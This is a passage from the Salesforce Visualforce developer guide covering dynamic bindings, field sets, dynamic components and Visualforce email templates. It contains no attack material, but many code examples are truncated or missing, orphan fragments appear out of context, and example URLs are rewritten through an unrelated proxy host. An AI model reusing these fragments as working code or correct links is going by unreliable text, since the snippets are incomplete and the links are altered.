Dynamic Visualforce bindings are a way of writing generic Visualforce pages that display information about records without
necessarily knowing which fields to show. In other words, fields on the page are determined at run time, rather than compile
time. This allows a developer to design a single page that renders differently for various audiences, based on their permissions
or preferences. Dynamic bindings are useful for Visualforce pages included in managed packages since they allow for the
presentation of data specific to each subscriber with very little coding.
Dynamic Visualforce binding is supported for standard and custom objects. Dynamic bindings take the following general form:
reference[expression]
where
• reference evaluates to either an sObject, an Apex class, or a global variable
• expression evaluates to a string that is the name of a field, or a related object. If a related object is returned, it can be used
to recursively select fields or further related objects.
Dynamic bindings can be used anywhere formula expressions are valid. Use them on a page like this:
{!reference[expression]}
Optionally, you can add a fieldname to the end of the whole dynamic expression. If the dynamic expression resolves to an
sObject, the fieldname refers to a specific field on that object. If your reference is an Apex class, the field must be public
or global. For example:
{!myContact['Account'][fieldname]}
Your dynamic Visualforce pages should be designed to use a standard controller for the object on your page, and implement
any further customization through a controller extension.
You can use the Apex Schema.SobjectType methods to get information for your dynamic references, in particular those
that access the fields of an object. For example, Schema.SobjectType.Account.fields.getMap() returns a Map of the
names of the Account fields in a format that your Apex controllers and extensions can understand.
Important: Static references are checked for validity when you save a page, and an invalid reference will prevent you
from saving it. Dynamic references, by their nature, can only be checked at run time, and if your page contains a dynamic
reference that is invalid when the page is viewed, the page fails. It’s possible to create references to custom fields or
global variables which are valid, but if that field or global value is later deleted, the page will fail when it is next viewed.
Defining Relationships
Both reference and expression can be complex expressions, such as those that evaluate to object relationships. For example,
suppose that an object called Object1__c has a relationship to another object called Object2__c. The name of the relationship
between these two objects is called Relationship__r.
142
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
If Object2__c has a field called myField, then the following dynamically-cast lookups all return a reference to the same field:
• Object1__c.Object2__c['myField']
• Object1__c['Object2__c.myField']
• Object1__c['Object2__c']['myField']
• Object1__c.Relationship__r[myField]
• Object1__c[Relationship__r.myField]
• Object1__c[Relationship__r][myField]
Next, create a page called DynamicAccountEditor that uses the above controller extension:
<apex:page standardController="Account"
extensions="DynamicAccountFieldsLister">
<apex:pageMessages /><br/>
<apex:form>
<apex:pageBlock title="Edit Account" mode="edit">
<apex:pageBlockSection columns="1">
<apex:inputField value="{!Account.Name}"/>
<apex:repeat value="{!editableFields}" var="f">
<apex:inputField value="{!Account[f]}"/>
</apex:repeat>
</apex:pageBlockSection>
143
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
</apex:pageBlock>
</apex:form>
</apex:page>
The constructor uses the same property that the page markup does, editableFields, to add more fields to the controller’s
list of fields to load.
This works well for pages when the complete list of fields to load can be known when the controller extension is instantiated.
If the list of fields can’t be determined until later in the request processing, you can call reset() on the controller and then
add the fields. This will cause the controller to send the revised query. Using Dynamic References for a User-Customizable
Page provides an example of this technique.
Note: Adding fields to a controller is only required if you’re using the default query for a StandardController or
StandardSetController. If your controller or controller extension performs its own SOQL query, using
addFields() is unnecessary and has no effect.
144
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
// SOQL query loads the case, with Case fields and related Contact fields
public DynamicCaseLoader(ApexPages.StandardController controller) {
String qid = ApexPages.currentPage().getParameters().get('id');
String theQuery = 'SELECT Id, ' + joinList(caseFieldList, ', ') +
' FROM Case WHERE Id = :qid';
this.caseDetails = Database.query(theQuery);
}
if (theList == null) {
return null;
}
if (separator == null) {
separator = '';
}
The corresponding page, DynamicCaseEditor, uses this extension to retrieve information about a particular case and its
associated contact:
145
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
<h2>{!cf}</h2>
<br/>
<!-- The only editable information should be contact information -->
<apex:inputText value="{!caseDetails[cf]}"
rendered="{!IF(contains(cf, "Contact"), true, false)}"/>
<apex:outputText value="{!caseDetails[cf]}"
rendered="{!IF(contains(cf, "Contact"), false, true)}"/>
<br/><br/>
</apex:repeat>
</apex:form>
</apex:page>
Access this page with the ID of a valid case record specified as the id query parameter. For example,
https://Salesforce_instance/apex/DynamicCaseEditor?id=500D0000003ZtPy. Your page will display a form
similar to this one:
146
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
The functionality provided by this example is simple. The main list view initially displays only the account name, but a
Customize List button allows the user to select which fields they’d like to add to the list. When they save their preferences,
they return to the list view and will see a dynamically generated Visualforce page that presents those fields in additional columns.
Note: You can also build a page without knowing the fields using dynamic references with Field Sets on page 155.
// Create the select options for the two select lists on the page
public List<SelectOption> getSelectedOptions() {
return selectOptionsFromSet(selectedNames);
147
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
}
public List<SelectOption> getUnSelectedOptions() {
return selectOptionsFromSet(unSelectedNames);
}
Note: When you save the class, you may be prompted about a missing Visualforce page. This is because of the page
reference in the customize() method. Click the “quick fix” link to create the page—Visualforce markup from a later
block of code will be pasted into it.
148
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
Now, create a Visualforce page called DynamicCustomizableList with the following markup:
<br/>
<apex:commandButton value="Customize List" action="{!customize}"/>
</apex:form>
</apex:page>
This page presents a list of accounts in your organization. The <apex:pageBlock> at the top provides a standard drop-down
list of the views defined for accounts, the same views users see on standard Salesforce account pages. This view widget uses
methods provided by the StandardSetController.
The second <apex:pageBlock> holds a <apex:pageBlockTable> that has columns added in a <apex:repeat>. All
columns in the repeat component use a dynamic reference to account fields, {!acct[f]}, to display the user’s custom-selected
fields.
The last piece to this mini app is the customization form. Create a page called CustomizeDynamicList. You may have
already created this page, when creating the controller extension. Paste in the following:
149
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
action="{!doRemove}" rerender="selectionBlock"/>
</apex:panelGroup>
<apex:selectList id="selected_list" required="false"
value="{!unselected}" multiselect="true" size="20" style="width:250px">
<apex:selectOptions value="{!selectedOptions}"/>
</apex:selectList>
</apex:panelGrid>
<em>Note: Fields marked <strong>*</strong> are inaccessible to your account</em>
</apex:pageBlock>
<br/>
<apex:commandButton value="Show These Fields" action="{!show}"/>
</apex:form>
</apex:page>
This simple preferences page presents two lists, and the user moves fields from the list of available fields on the left to the list
of fields to display on the right. Clicking Show These Fields returns to the list itself.
Here are a few things to note about this markup:
• This page uses the same standard controller as the list view, even though no accounts are being displayed. This is required
to maintain the view state, which contains the list of fields to display. If this form saved the user’s preferences to something
permanent, like a custom setting, this wouldn’t be necessary.
• The first list is populated by a call to the getUnSelectedOptions() method, and when the form is submitted (via
either of the two <apex:commandButton> components), the values in the list that are selected at time of form submission
are saved into the selected property. Corresponding code handles the other list.
• These “delta” lists of fields to move are processed by the doAdd() or doRemove() method, depending on which button
was clicked.
When you assemble the controller extension and these pages, and navigate to /apex/DynamicCustomizableList in your
organization, you’ll see a sequence similar to the following:
1. View the customizable list in the default state, with only the account name field displayed.
150
Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and Packages
Move some fields into the list on the right, and click Show These Fields.
3. The customized list view is displayed.
1. Create a custom object called Book with the following fields and data types:
• Title: Text(255)
• Author: Text(255)
• ISBN: Text(13)
• Price: Currency(4, 2)
• Publisher: Text(255)
By default creating a new custom object will create a layout for that object. Call the layout Book Layout.
151
Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and Packages
2. Modify the layout so it displays the custom fields above and removes the standard fields such as Created By, Last Modified
By, Owner, and Name.
3. Create a new custom object tab. Set the object to Book, and the tab style to Books.
4. Switch to the Book tab and create a few Book objects. For this tutorial, the data inside the fields doesn’t actually matter.
5. Create a controller extension called bookExtension with the following code:
6. Create a Visualforce page called booksView that uses the controller extension to show the values of the Book object:
<br/>
<apex:pageBlock title="{!Book__c.Name}">
<apex:repeat value="{!availableFields}" var="field">
<h2><apex:outputText
value="{!$ObjectType['Book__c'].Fields[field].Label}"/></h2>
<br/>
<apex:outputText value="{!Book__c[field]}" /><br/><br/>
</apex:repeat>
</apex:pageBlock>
</apex:page>
7. Since the controller extension is going to be packaged, you’ll need to create a test for the Apex class. Create an Apex class
called bookExtensionTest with this basic code to get you started:
152
Dynamic Visualforce Bindings Supporting Maps and Lists
this.controller = controller;
Map<String, Schema.SobjectField> fields =
Schema.SobjectType.Book__c.fields.getMap();
Note: This Apex test is only meant to be a sample. When creating tests that are included into packages, validate
all behavior, including positive and negative results.
8. Create a package called bookBundle, and add the custom object, the Visualforce page, and the bookExtensionTest
Apex class. The other referenced elements are included automatically.
9. Install the bookBundle package into a subscriber organization.
10. After the package is installed, click Your Name > Setup > Create > Objects, then click Book. Add a new field called
Rating.
11. Create a new Book object. Again, the values for the record don’t actually matter.
12. Navigate to the booksView page with the package namespace and book ID appended to the URL. For example, if
GBOOK is the namespace, and a00D0000008e7t4 is the book ID, the resulting URL should be
https://Salesforce_instance/apex/GBOOK__booksView?id=001D000000CDt53.
When the page is viewed from the subscribing organization, it should include all the packaged Book fields, plus the newly
created Rating field. Different users and organizations can continue to add whatever fields they want, and the dynamic
Visualforce page will adapt and show as appropriate.
153
Dynamic Visualforce Bindings Supporting Maps and Lists
The Map and List data types can only be accessed as read-only items; in other words, they can't be used in any input
components. However, if a Map refers to an sObject, than the items within the map can be updated through an input field, if
a field name is referenced. The following example demonstrates this:
public MapAccCont() {
Integer i = 0;
for (Account a : [select id, name from account]) {
mapToAccount.put(i, a);
i++;
}
}
<apex:page controller="MapAccCont">
<apex:form>
<apex:repeat value="{!mapToAccount}" var="accNum">
154
Dynamic Visualforce Bindings Working with Field Sets
• If there is no value mapped to a particular key, the Visualforce page returns an error message. For example, with this
controller:
public ToolController() {
Map<String, String> toolsMap = new Map<String, String>();
toolsMap.put('Stapler', 'Keeps things organized');
}
}
<apex:page controller="ToolController">
<!-- This renders an error on the page -->
<apex:outputText value="{!toolMap['Paperclip']}" />
</apex:page>
• If the key is null, the Visualforce page renders an empty string. For example, using the same controller as above, this
page shows an empty space:
<apex:page controller="ToolController">
<!-- This renders a blank space -->
<apex:outputText value="{!toolMap[null]}" />
</apex:page>
You can also use dynamic bindings to display field sets on your Visualforce pages. A field set is a grouping of fields. For example,
you could have a field set that contains fields describing a user's first name, middle name, last name, and business title. If the
page is added to a managed package, administrators can add, remove, or reorder fields in a field set to modify the fields
presented on the Visualforce page without modifying any code. Field sets are available for Visualforce pages on API version
21.0 or above.
Field sets are referenced in Visualforce by combining the $ObjectType global variable with the keyword FieldSets. For
example, if your Contact object has a field set called properNames that displays three fields, your Visualforce page can
reference the field data through the following iteration:
<apex:page standardController="Contact">
<apex:repeat value="{!$ObjectType.Contact.FieldSets.properNames}" var="f">
155
Dynamic Visualforce Bindings Working with Field Sets
You can also choose to render additional information, such as field labels and data types, through the following special properties
on the fields in the field set:
For example, you can access the labels and data types for the fields in properNames like this:
<apex:page standardController="Contact">
<apex:pageBlock title="Fields in Proper Names">
<apex:pageBlockTable value="{!$ObjectType.Contact.FieldSets.properNames}" var="f">
<apex:column value="{!f}">
<apex:facet name="header">Name</apex:facet>
</apex:column>
<apex:column value="{!f.Label}">
<apex:facet name="header">Label</apex:facet>
</apex:column>
<apex:column value="{!f.Type}" >
<apex:facet name="header">Data Type</apex:facet>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
{!$ObjectType.Contact.FieldSets.Spectre__properNames}
• If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasn’t presented it
on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the
Available column to the In the Field Set column.
• If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by
default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the
Field Set column.
The order in which a developer lists displayed fields determines their order of appearance on a Visualforce page.
156
Dynamic Visualforce Bindings Dynamic References to Global Variables
• Subscribers with installed field sets can add fields that your page didn’t account for. There is no way to conditionally omit
some fields from a field set iteration, so make sure that any field rendered through your field set works for all field types.
• We recommend that you add only non-essential fields to your field set. This ensures that even if a subscriber removes all
fields in the field set, Visualforce pages that use that field set still function.
Note: Field sets are available for Visualforce pages on API version 21.0 or above.
reference[expression]
A very simple example of actual use on a page would be <apex:image value="{!$Resource[customLogo]}"/>, where
you have a getCustomLogo method that returns the name of an image uploaded as a static resource.
Dynamic references to static resources can be very useful for providing support for themes or other visual preferences. The
next example illustrates rudimentary support for switching between two different visual themes. First, create a controller
extension named ThemeHandler with the following code:
157
Dynamic Visualforce Bindings Dynamic References to Global Variables
}
return selectedTheme;
}
set {
if(getAvailableThemes().contains(value)) {
selectedTheme = value;
}
}
}
}
<apex:page standardController="Account"
extensions="ThemeHandler" showHeader="false">
<apex:form >
<apex:pageBlock id="ThemePreview" >
<apex:stylesheet
value="{!URLFOR($Resource[selectedTheme], 'styles/styles.css')}"/>
<h1>Theme Viewer</h1>
<p>You can select a theme to use while browsing this site.</p>
<apex:pageBlockSection >
<apex:outputLabel value="Select Theme: " for="themesList"/>
<apex:selectList id="themesList" size="1" value="{!selectedTheme}">
<apex:actionSupport event="onchange" rerender="ThemePreview"/>
<apex:selectOptions value="{!themeOptions}"/>
</apex:selectList>
</apex:pageBlockSection>
<apex:pageBlockSection >
<div class="custom" style="padding: 1em;"><!-- Theme CSS hook -->
<h2>This is a Sub-Heading</h2>
<p>This is standard body copy. Lorem ipsum dolor sit amet, consectetur
adipiscing elit. Quisque neque arcu, pellentesque in vehicula vitae, dictum
id dolor. Cras viverra consequat neque eu gravida. Morbi hendrerit lobortis
mauris, id sollicitudin dui rhoncus nec.</p>
<p><apex:image
value="{!URLFOR($Resource[selectedTheme], 'images/logo.png')}"/></p>
</apex:pageBlock>
</apex:form>
</apex:page>
158
Dynamic Visualforce Bindings Dynamic References to Global Variables
• The page uses the Account standard controller, but has nothing to do with accounts. You have to specify a controller to
use a controller extension.
• The first <apex:pageBlockSection> contains the theme selection widget. Using <apex:actionSupport>, changes
to the selection menu re-render the whole <apex:pageBlock>. This is so that the <apex:stylesheet> tag gets the
updated selectedTheme for its dynamic reference.
• The theme preference selected here is only preserved in the view state for the controller, but you could easily save it to a
custom setting instead, and make it permanent.
• The zip files that contain the graphics and style assets for each theme need to have a consistent structure and content. That
is. there needs to be an images/logo.png in each theme zip file, and so on.
There are only two dynamic references to the $Resource global variable on this page, but they show how to access both
stylesheet and graphic assets. You could use a dynamic reference in every <apex:image> tag on a page and completely change
the look and feel.
$Label and $Setup are similar to $Resource, in that they allow you to access text values or saved settings that your
organization administrator or users themselves can set in Salesforce:
• Custom labels allow you to create text messages that can be consistently used throughout your application. Label text can
also be translated and automatically displayed in a user’s default language. To learn more about how to use custom labels
see “Custom Labels Overview” in the online help.
• Custom settings allow you to create settings for your application, which can be updated by administrators or by users
themselves. They can also be hierarchical, so that user-level settings override role- or organization-level settings. To learn
more about how to use custom settings see “Custom Settings Overview” in the online help.
159
Dynamic Visualforce Bindings Dynamic References to Global Variables
<apex:page standardController="Account"
extensions="DynamicActionsHandler">
<br/>
160
Dynamic Visualforce Bindings Dynamic References to Global Variables
</apex:page>
On a page that hasn’t been assigned a specific record, the only useful action available is New. On a page that queries for a
record, the $Action global variable provides methods such as Clone, Edit, and Delete. Certain standard objects have
additional actions that make sense for their data types. See “Valid Values for the $Action Global Variable” in the online help.
$ObjectType[sObjectName].fields[fieldName].Type
Here’s an example that uses dynamic globals to provide a general object viewer. First, create a new controller (not extension)
named DynamicObjectHandler:
161
Dynamic Visualforce Bindings Dynamic References to Global Variables
<apex:component controller="DynamicObjectHandler">
<apex:attribute name="rec" type="sObject" required="true"
description="The object to be displayed." assignTo="{!obj}"/>
<apex:form >
<apex:pageBlock title="{!objectType}">
<apex:pageBlockSection title="Fields" columns="1">
<apex:dataTable value="{!accessibleFields}" var="f">
<apex:column >
<apex:facet name="header">Label</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Label}"/>
</apex:column>
<apex:column >
<apex:facet name="header">API Name</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Name}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Type</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Type}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Value</apex:facet>
<apex:outputText value="{!obj[f]}"/>
</apex:column>
</apex:dataTable>
</apex:pageBlockSection>
<apex:pageBlockSection columns="3">
<apex:commandButton action="{!URLFOR($Action[objectType].Edit, obj.Id)}"
162
Dynamic Visualforce Bindings Dynamic References to Global Variables
value="Edit"/>
<apex:commandButton action="{!URLFOR($Action[objectType].Clone, obj.Id)}"
value="Clone"/>
<apex:commandButton action="{!URLFOR($Action[objectType].Delete, obj.Id)}"
value="Delete"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:component>
<apex:page standardController="Account">
<c:DynamicObjectViewer rec="{!account}"/>
</apex:page>
<apex:page standardController="Contact">
<c:DynamicObjectViewer rec="{!contact}"/>
</apex:page>
163
Chapter 13
Dynamic Visualforce Components
Visualforce is primarily intended to be a static, markup-driven language that lets developers create a user interface that matches
the Salesforce look-and-feel. However, there are occasions when it is necessary to programmatically create a page. Usually, this
is to achieve complicated user interface behavior that is difficult or impossible with standard markup.
Dynamic Visualforce components offer a way to create Visualforce pages that vary the content or arrangement of the component
tree according to a variety of states, such as a user’s permissions or actions, user or organization preferences, the data being
displayed, and so on. Rather than using standard markup, dynamic Visualforce components are designed in Apex.
A dynamic Visualforce component is defined in Apex like this:
Component.Component_namespace.Component_name
Visualforce components that are dynamically represented in Apex behave like regular classes. Every attribute that exists on a
standard Visualforce component is available as a property in the corresponding Apex representation with get and set methods.
For example, you could manipulate the value attribute on an <apex:outputText> component as follows:
164
Dynamic Visualforce Components Dynamic Components Restrictions
• If a dynamic Visualforce component refers to a specific sObject field, and that field is later deleted, the Apex code for that
field reference will still compile, but the page will fail when it is viewed. Also, you can create references to global variables
such as $Setup or $Label, and then delete the referenced item, with similar results. Please verify such pages continue to
work as expected.
• Dynamic Visualforce pages and expressions check attribute types more strictly than static pages.
There are two parts to embedding dynamic Visualforce components on your page:
1. Adding an <apex:dynamicComponent> tag somewhere on your page. This tag acts as a placeholder for your dynamic
component.
2. Developing a dynamic Visualforce component in your controller or controller extension.
The <apex:dynamicComponent> tag has one required attribute—componentValue—that accepts the name of an Apex
method that returns a dynamic component. For example, if you wanted to dynamically generate the title of a section header
differently if the deadline for a submitting form has passed, you could use the following markup and controller code:
165
Dynamic Visualforce Components Creating and Displaying Dynamic Components
As a convenience for your own components, you can omit the namespace, like so:
If you are using components provided by a third party in a package, use the namespace of the package provider:
Component.Apex.DataList dynDataList =
new Component.Apex.DataList(id='myDataList', rendered=true);
If an attribute is not defined in the constructor, the component's default values are used for that attribute.
There are two components that must have an attribute defined in the constructor, rather than through a property:
• Component.Apex.Detail must have showChatter=true passed to its constructor if you want to display the Chatter
information and controls for a record. Otherwise, this attribute is always false.
• Component.Apex.SelectList must have multiSelect=true passed to its constructor if you want the user to be
able to select more than one option at a time. Otherwise, this value is always false.
These values are Booleans, not Strings; you don't need to enclose them in single quote marks.
Caution: You can’t pass attributes through the class constructor if the attribute name matches an Apex keyword. For
example, Component.Apex.RelatedList can’t pass list through the constructor, because List is a reserved
keyword. Similarly, Component.Apex.OutputLabel can’t define the for attribute in the constructor, because it’s
also a keyword.
166
Dynamic Visualforce Components Creating and Displaying Dynamic Components
Valid expressions include those that refer to fields on standard and custom objects. Global variables and functions are also
available, as demonstrated in this example:
Passing in values through expressions is valid only for attributes that support them. Using {! } outside of the expressions
property will be interpreted literally, not as an expression.
If you want to include plain HTML, you can do so by setting the escape property on Component.Apex.OutputText to
false:
Defining Facets
Similar to the way expressions are defined, facets act as a special property available to dynamic components. Here’s an example:
For more information on facets, see Best Practices for Using Component Facets on page 250.
167
Dynamic Visualforce Components Example Using a Related List
theAccountNumberField.expressions.value = '{!Account.AccountNumber}';
theAccountNumberField.id = 'theAccountNumber';
Component.Apex.OutputLabel theAccountNumberLabel = new Component.Apex.OutputLabel();
theAccountNumberLabel.value = 'Change Account #?';
theAccountNumberLabel.for = 'theAccountNumber';
return dynPageBlock;
}
<apex:form>
<apex:dynamicComponent componentValue="{!dynamicForm}"/>
</apex:form>
<apex:form>
<apex:pageBlock>
<apex:outputLabel for="theName"/>
<apex:inputField value="{!Account.Name}" id="theName"/>
<apex:outputLabel for="theAccountNumber"/>
<apex:inputField value="{!Account.AccountNumber}" id="theAccountNumber"/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:pageBlock>
</apex:form>
Notice that the order of elements in the equivalent static markup is the order in which the dynamic components were added
to childComponents, not the order in which they were declared in the Apex code of the getDynamicForm method.
168
Dynamic Visualforce Components Example Using a Related List
Next, create two more custom objects called Student and Teacher. After you finish creating each object:
• A new Student named Johnny Walker, and a new Teacher named Mister Pibb, both assigned to Science 101.
• Another new Student named Boont Amber, and a new Teacher named Doctor Pepper, both assigned to Math
201.
Now, create a new Apex page called DynamicClassroomList and paste the following code:
public DynamicClassroomList() {
init();
}
if (idIsSet) {
ApexPages.CurrentPage().getParameters().put('id', objId);
idIsSet = false;
}
}
169
Dynamic Visualforce Components Example Using a Related List
return options;
}
}
return Page.dynamicclassroomlist;
}
170
Dynamic Visualforce Components Example Using a Related List
unSelectedNames.add(s);
selectedNames.remove(s);
}
}
return dynOutPanel;
}
}
After trying to save, you may be prompted about a missing Visualforce page. Click the link to create the page: the next blocks
of code will populate it.
Create a Visualforce page called dynVFClassroom and paste the following code:
<apex:dynamicComponent componentValue="{!ClassroomRelatedLists}"/>
<apex:form>
</apex:page>
Finally, create a page called DynamicClassroomList. If you’ve been following this tutorial from the beginning, you should
have already created this page when constructing your controller extension. Paste in the following code:
171
Dynamic Visualforce Components Example Using a Related List
This is the page that presents the user with the option of selecting which object relationships to display. Notice that the
“selected” and “unselected” lists are populated through dynamic means.
After assembling the controller extension and these pages, navigate to /apex/dynVFClassroom in your organization. You’ll
see a sequence similar to the following:
172
Dynamic Visualforce Components Example Using a Related List
173
Chapter 14
Integrating Email with Visualforce
Visualforce can be used to send email to any of your contacts, leads, or other recipients. It is also possible to create reusable
email templates that take advantage of Visualforce's ability to iterate over your Salesforce records. The following topics explain
how:
• Sending an Email with Visualforce
• Visualforce Email Templates
The following topics demonstrate a number of features available when sending email through Visualforce:
<apex:page controller="sendEmail">
<apex:messages />
<apex:pageBlock title="Send an Email to Your
{!account.name} Representatives">
<p>Fill out the fields below to test how you might send an email to a user.</p>
<br />
<apex:dataTable value="{!account.Contacts}" var="contact" border="1">
<apex:column >
<apex:facet name="header">Name</apex:facet>
{!contact.Name}
</apex:column>
<apex:column >
<apex:facet name="header">Email</apex:facet>
{!contact.Email}
</apex:column>
</apex:dataTable>
<apex:form >
<br /><br />
174
Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class
Notice in the page markup that the account ID is retrieved from the URL of the page. For this example to render properly,
you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the
account ID, the resulting URL should be:
https://Salesforce_instance/apex/sendEmailPage?id=001D000000IRt53
Displaying Field Values with Visualforce on page 28 has more information about retrieving the ID of a record.
The following code creates a controller named sendEmail that implements the Messaging.SingleEmailMessage class,
and uses the contacts related to an account as recipients:
String addresses;
if (account.Contacts[0].Email != null)
{
addresses = account.Contacts[0].Email;
// Loop through the whole list of contacts and their emails
for (Integer i = 1; i < account.Contacts.size(); i++)
{
if (account.Contacts[i].Email != null)
{
addresses += ':' + account.Contacts[i].Email;
}
}
}
175
Integrating Email with Visualforce Creating a Custom Controller with the Messaging Class
return null;
}
}
• The subject and body of the email are set through a separate Visualforce page and passed into the controller.
• The method that sends the email is called send(). This name must match the name of the action for the Visualforce
button that sends the email.
• The recipients of the email, that is, the email addresses stored in toAddresses[], come from the addresses of the contacts
available in an associated account. When compiling a list of recipients from contacts, leads, or other records, it is a good
practice to loop through all the records to verify that an email address is defined for each. The account ID is retrieved from
the URL of the page.
See Also:
"Outbound Email" in the Force.com Apex Code Developer's Guide
176
Integrating Email with Visualforce Creating an Email Attachment
<h1>Account Details</h1>
<apex:panelGrid columns="2">
</apex:panelGrid>
</apex:page>
Note: See Best Practices for Rendering PDFs on page 253 for details of which components are recommended for use
in PDF attachments.
Next, create the EmailFileAttachment object in the send() method of your custom controller. The following examples
must be placed before calling Messaging.sendEmail:
If your SingleEmailMessage object is named email, then you associate the attachment like this:
177
Integrating Email with Visualforce Creating an Email Attachment
<apex:component access="global">
<h1>Account Details</h1>
<apex:panelGrid columns="2">
</apex:panelGrid>
</apex:component>
Then add the custom component to render at the bottom of your previous sendEmailPage:
If you want to make changes to both the attachment and the preview, the attachment custom component needs to be
modified in only one location.
178
Integrating Email with Visualforce Creating an Email Attachment
String addresses;
if (account.Contacts[0].Email != null) {
addresses = account.Contacts[0].Email;
// Loop through the whole list of contacts and their emails
for (Integer i = 1; i < account.Contacts.size(); i++) {
if (account.Contacts[i].Email != null) {
addresses += ':' + account.Contacts[i].Email;
}
}
}
return null;
}
}
<apex:page controller="sendEmail">
<apex:messages/>
<apex:pageBlock title="Send an Email to Your {!account.name} Representatives">
<p>Fill out the fields below to test how you might send an email to a user.</p>
179
Integrating Email with Visualforce Visualforce Email Templates
{!contact.Email}
</apex:column>
</apex:dataTable>
<apex:form><br/><br/>
<apex:outputLabel value="Subject" for="Subject"/>: <br/>
<apex:inputText value="{!subject}" id="Subject" maxlength="80"/>
<br/><br/>
See Also:
"EmailFileAttachment Methods" in the Force.com Apex Code Developer's Guide
• All Visualforce email templates must be contained within a single <messaging:emailTemplate> tag. This is analogous
to regular Visualforce pages being defined within a single <apex:page> tag.
• The <messaging:emailTemplate> tag must contain either a single <messaging:htmlEmailBody> tag or a single
<messaging:plainTextEmailBody> tag.
• Several standard Visualforce components are not available for use within <messaging:emailTemplate>. These include
<apex:detail>, <apex:pageBlock> and all related pageBlock components, and all input components such as
<apex:form>. If you attempt to save a Visualforce email template with these components, an error message displays.
180
Integrating Email with Visualforce Creating a Visualforce Email Template
1. Click Your Name > Setup > Email > My Templates. If you have permission to edit public templates, click Your Name
> Setup > Communication Templates > Email Templates.
2. Click New Template.
3. Choose Visualforce and click Next.
You can’t send a mass email using a Visualforce email template.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only.
10. Enter the subject line for your template in Email Subject.
11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template.
12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field
data.
13. Click Save.
14. On the Viewing Email Templates page, click Edit Template.
15. Enter markup text for your Visualforce email template.
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference
the copy of the image that is on our server. For example:
16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
181
Integrating Email with Visualforce Creating a Visualforce Email Template
The following example shows how you can define a Visualforce email template that displays all the cases associated with a
contact. The example uses an <apex:repeat> tag to iterate through all the cases related to a contact and incorporate them
into the body of the template:
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
language="{!recipient.language__c}"
replyTo="support@acme.com">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Below is a list of cases related to {!relatedTo.name}.</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
<p/>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
• The attributes recipientType and relatedToType act as controllers for the email template. With them you can access
the same merge fields that are available to other standard controllers. The recipientType attribute represents the
recipient of the email. The relatedToType attribute represents the record to associate with the email.
• The <messaging:htmlEmailBody> component can include a mix of Visualforce markup and HTML. The
<messaging:plainTextEmailBody> component can only include Visualforce markup and plain text.
• To translate Visualforce email templates based on recipients' or related objects' languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce supported language keys, for example,
“en-US”). The language attribute accepts merge fields from the email template's recipientType and relatedToType
182
Integrating Email with Visualforce Using a Custom Stylesheet in a Visualforce Email Template
attributes. You create custom language fields for use in the merge fields. The Translation Workbench is required to translate
email templates. The example uses a merge field to obtain a language attribute for the contact receiving the email.
See Also:
Using a Custom Stylesheet in a Visualforce Email Template
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="support@acme.com">
<messaging:htmlEmailBody>
<html>
<style type="text/css">
body {font-family: Courier; size: 12pt;}
table {
